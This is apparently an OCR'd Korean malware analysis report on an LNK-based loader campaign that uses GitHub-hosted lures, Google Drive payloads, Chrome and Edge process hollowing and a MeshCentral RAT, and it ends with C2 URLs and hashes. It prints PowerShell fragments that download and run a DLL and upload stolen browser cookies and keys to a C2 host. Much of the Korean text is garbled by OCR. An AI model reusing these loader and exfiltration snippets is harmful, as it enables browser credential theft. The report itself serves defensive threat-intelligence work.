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1. KB_202605.html.Ink
(MD5 : 7101F6B8787E2775BB3ED6A52C853AD4, SIZE : 1,785)

e o ASRES REeho] Mt

ViRobot LNK.S.Loader.1785
HM =M

(1) 7I&E0= mshta & &3l 2 A3EE
IZEZ FISt0] FHH 7|8 EHXE 2

* C&C: hxxps://is[.]gd/UJ33CD

£ AE 2ESIFP2LE, XA HE2 PowerShell

202619059 TAM|A.txt HAE 2N 1KB  2026-04-1
7 KB_202605.html Hi 2 717] 2KB  2026-05-19 @& 9:28
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C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe
-2 bQBzAGyAdABhACAATAAGACAATAAGACAATAAGACAAAROAHQACARZADCATWAVAGKACWAUAGCAZARAVAFUASGA ZATNMAQWREAA==

Hmshta https://is.gd/UJ33CD|
[22] 1] KB_202606.html.Ink HHE

() =7t 23 EE= A8 219t 20| 34Xt Github Off FE2E [0 U= vbs Tt (kb.zip)S
SICE i Github MEL0ME 52 A2 FEEl= thol YIAETL QAo
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Github Profile: acccobug, workspacesnorep-creator

v1.0.0 (e Compare <
acccobug released this 2 weeksago  © v1.00 <~ c216bbd @

v Assets 1
@ KB_202605.zip f 1ed381f fc223965c168551e.. (0] 138 KB
@ payment_due_notice.zip ha2 5216720733¢ % > LD 119 KB 48 minutes ago
@ payment order_notice.zip : sesabarrisrhdsbiarsdcisiats. (0 .
® pdfko.zip ha2 9f38021fb7e50802Fdocdoacboz.. (L) 57.5KB e
Q pwko.zip it s 6e3d e eand e [_‘;3 s e o
@ sex offender.zip b eebce546baf bfcbdasfa3dae Q 98.6 KB AB RS 36
@ tax_edoc.zip ha256:61e7c5e4b9844731c0572d317431 s 8 KB 48 minutes agq
@ tax_notice.zip ha2 1¢39 12572 ebb63f10008622 LD 119 KB iines s

[} Source code (zip;

[?) Source code (tar.gz,

(A8 2] SAX2| Github
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RegisterTask
Init
RecentFiles
GetBrowserData
CreateFilelist
Send
Start-Process p
Work

(28 4 7t 7ls
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(5) E 71E MEOM 7|58 EMBIE GetAppKey BTt AL EIUCE. GetAppKey &
C&C oA 2A=3tE HOZE e

=
Z£ 2950 appload.dll &

=
=

sty
e Ccac:
hxxps://drive.google[.Jcom/uc?export=download &id=15Xkvt3TwCQJERcUHSUandCigMVVxs
Far
function GetAppKey {
S$loader = "hittps://drive

le.com/uc?export=download’ &id=15Xkvt3TwCQIERCUHSUandCigMVVxsFqr"
DownloadFile $loader "Sten ith\appload.log"

[System.TO.File]::WriteAllBytes("StempPath\appload.dll”,

(New-Object System.Security.Cryptograp
Start-Process rundll32.exe -ArgumentList "StempPath
Start-Sleep -Seconds

\appload.dll, z"

[3 5] GetAppKey() - 1
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2. appload.dil
(MD5 : D1FD32DB51C6927066A15668A3670693, SIZE : 182,272)

e . 22teX FEE YFstn RMM 2 3 44 F2S sEsich

ViRobot Trojan.Win.S.Loader.182272
HEY :
(1) appload.dil 2| Export &==30| baby.dll 2| 20| ZQIEZ| ULt
word_180029200 dw 9 ; DATA XREF: .rdata:00000001800291F410
aBabyD11 dh 'baby.dll',e ; DATA XREF: .rdata:00000001800291DCTo
azZ db—Zz",0 3 DATA XREF: .rdata:off 1800291FCto

[23 6] Export &+3

(2) appload.dll 2 C&C 25 E H0|ZEE CHRZLESH F| Chrome.exe X Edge.exe & Sl
AAlSH=0, Ol libpeconv 7|8t Manual Mapping 2 O|&3}0f Process Hollowing & & 9tCt

015 Sof Py TRAAZ ATD Wl J|u FXZ LBt HOR PEHECL

e C&C: hxxps://drive.google[.]com/uc?export=download&id=1EkyeoSdhvGqcEpZkgBUzXnJYPLka7zJc

o I+ ZE: CW%localAppData%Wapp

v _] rundll32.exe 4392 Windows ZAE T2 M|~ (Ru... 3.51 MB

[3& 7] Chrome Process Hollowing

v ] rundli32.exe 4392 Windows =AE T2 M A (Ru.. 3.82 MB

[Z13 8] Edge Process Hollowing

B)YdI== HAE O 22t X0 M2k APPB OFAE 7| S8t XNE=l R7|, AY
HE S 7|Et 91Z HO|He| E==0f 28T = QUL whaleexe #H &

OFZ HOt GetAppKey AtZ|t Z0|, == whale 22t X0 CHet &2 & 7|50| FItE
740 EX|BHCY.

swprintf_s(FileName, @x1@4uLL, (const wchar_t *const)f*%s\\chrome.exe",| Filename);
v87 = @LL;

v88 = 15LL;

LOBYTE(Block[@]) = @;

make_str_struct((mystr *)Block, (void *)&Src, OLL);

51128 = _mm_load_sil128((const _ m1281 *)&xmmword_7FF6C35B4740);

LOBYTE(Source[@]) = @;

make_str_struct((mystr *)Source, (void *)&Src, @LL);

if ( stat64i32((const char *)FileName, &Stat) )

swprintf_s(FileName, ®x1@4uLL, (const wchar_t *const)"%s\\msedge.exe",| Filename);

if ( state4i32((const char *)FileName, &Stat) )

swprintf_s(FileName, @x1@4ulLL, (const wchar_t *const}"%s\\whale.exe",| Filename);

ac. .

[2& 9] app 7Is
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(4) appload.dll 2| H& ZAut2 MM E cc_appkey(Chrome), ee_appkey(Edge), tmpgoochr.zip 2
C&C 2 ™S3iCt,

* C&C: hxxps://lutkdd.corpsecs[.Jcom/

o oY ZE: CW%Temp%thpgoochr

Surl = $serverurl + "2id d
UploadFile $url "StempPath\cc appkey”
Start-Sleep -Seconds
UploadFile $url "StempPath\ee appkey”
Start-Sleep -Seconds

$destpath = Join-Path $tempPath "tmpgoochr
$cookiepath = Join-Path $tempPath 'fL goochr
if (Test-Path $coockiepath -PathType Contalner) {
Compress-Archive -LiteralPath $cookiepath -DestinationPath $destpath -Force
$result = UploadFile $url $destpath

[Z13 10] GetAppKey() -

(5) 2 2% 0% SRS MeshCentral 7|8t OO|HES HX/st0l BY|Mel 27 B2 A
SeS AT 018 S 27| HE 23 0$0= X&XHel M2 HES RAT + Ut

o OFY HZ: CW%Temp%WTaskmgrexe
* C&C: hxxps://drive.google[.Jcom/uc?export=download&id=1rgN7zYXO0jNSsZy8gSECXSxY57TOT_x (rem)
*  C&C: hxxps://drive.google[.Jcom/uc?export=download&id=176jQJH3H3DHPzjFI-tljrV8KLtEBgY_m-

(msh)
TN 7
{
CopyFileA( R , 0);
Sleep(@x3E8u);
libpeconv_sub_180@@1DE@((__inted)rem, )5
Sleep(@x3E8u);
LOBYTE(v@) = DeleteFileA( )3
}

[2& 11] MeshAgent Q1M

MeshName=mycoms

MeshType=2
MeshID=0xAFCEADEAE4A2BE9CT5274C0F6DC503464C6F4FB6DEBT 7521 A6B46AA9CADY1FBBAO3DOEGB3BFSD5BEADACAEZ2682C3301R8
ServerID=5A93B1AZ29F38C43CA42FEDS728745C081D04C8390C54525545E10FDECE40C6FCF39941AE33F1CB52A596B4418E6CD078
MeshServer= n::]//googleoba.servequake.com.8443/agent.ashx }

InstallFlags=2
translation={"en":{"agent":"Agent", "agentVersion":"New Version","group":"Device Group","url":"Server URL"

[2& 12] MeshAgent &7 Tt

6) CAC 2 X|£XQ HZS FsH, dEE 8% S4Xs 48 AL"ol| s 34 HMoisS

asiSE A O
Tdg = U

» C&C: googleoba.servequake[.Jcom:8443/agent.ashx

c :$>Taskmgr _exe
agentcore: Could not resolve: googleoba.servequake.com

AutoRetry Connect in 809 milliseconds

agentcore: Could not resolug: googleoba.seruequake.com
AutoRetry Connect in 1255 milliseconds
agentcore: Could not resolue googleoba.seruequake.com

i
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10C

*C&C

hxxps://is[.]gd/OdDu0d

hxxps://is[.Jgd/UJ33CD

hxxps://is[.]gd/iymNuP

hxxps://link24[.]Jkr/AlmPelL4

hxxps://link24[.]Jkr/7QOEKZY

hxxps://lutkdd.corpsecs[.Jcom
hxxps://drive.google[.Jcom/uc?export=download&id=1YtDdLM3U6q__ZiX7fSidoktBrwbC20sK
hxxps://drive.google[.Jcom/uc?export=download&id=1YKkdbQYCzuXweeKEWDUZYc__6YQZIKY8
hxxps://drive.google[.Jcom/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5wOMu8ePxVWI5VJ
hxxps://drive.google[.Jcom/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZn
hxxps://drive.google[.Jcom/uc?export=download&id="1jgpw8UHpsY5ps3nKOfkyo2ql4hC23Mew
hxxps://drive.google[.Jcom/uc?export=download&id=15Xkvt3TwCQJERcUHSUandCigMVVxsFqr
hxxps://drive.google[.Jcom/uc?export=download&id="1EkyeoSdhvGqcEpZkqBUzXnJYPLka7z)c
hxxps://drive.google[.Jcom/uc?export=download&id=1PTs95g2gr6dluO2RqErgGutQZv2Y0g3Y
hxxps://drive.google[.Jcom/uc?export=download&id=1rqN7zYXO0jNSsZy8gSECXSxY57TOT_xr
hxxps://drive.google[.Jcom/uc?export=download&id=176jQJH3H3DHPzjFI-tljrV8KLtEBgY_m
hxxps://drive.google[.Jcom/uc?export=download&id="1veetviG-ft9tfOgAyOIHLSa55V2YR-GJ
hxxps://drive.google[.Jcom/uc?export=download&id=1moNyXp9INAyu_iEFfZMoPHVDWptxzjgbn
googleoba.servequake[.Jcom:8443/agent.ashx

nid-naveruzt.servequake[.Jcom/nidlogin.login

*MD5
7101F6B8787E2775BB3ED6A52C853AD4
6873988BEC7D6C3DC248DE319DB7620A
EOE938B204117354882B577D59C213F1
ODB53F4BBD5CA58C7A49994CA525FFCD
D9C3EBC7CID39F4ABD89IB68E082B76DC
EB68BC8C79E55048E8EE4FD22C1B3471
96ECOC480E13D91F3CB693487E0B11CE
D1FD32DB51C6927066A15668A3670693
7F38442308BB2AD43EFE0671873E179F
9AAB6CF2119E3E8D8F7COAT1E130E136
COOEEC31C2655847516E40AD2E720183
40ED8082923988BA08128A21E45674F6
8CF5ECD89FC371CA3C31FE5A2924DDDC
CD04856B4296E9E17D60145D18E55F1D
977DF98AEB2DA4C2A2FC72785829A05D
39CD2AB629F61090982B14C78EBB0025
7BDC5A856EE7D9B1AFB1121D5D0E928B
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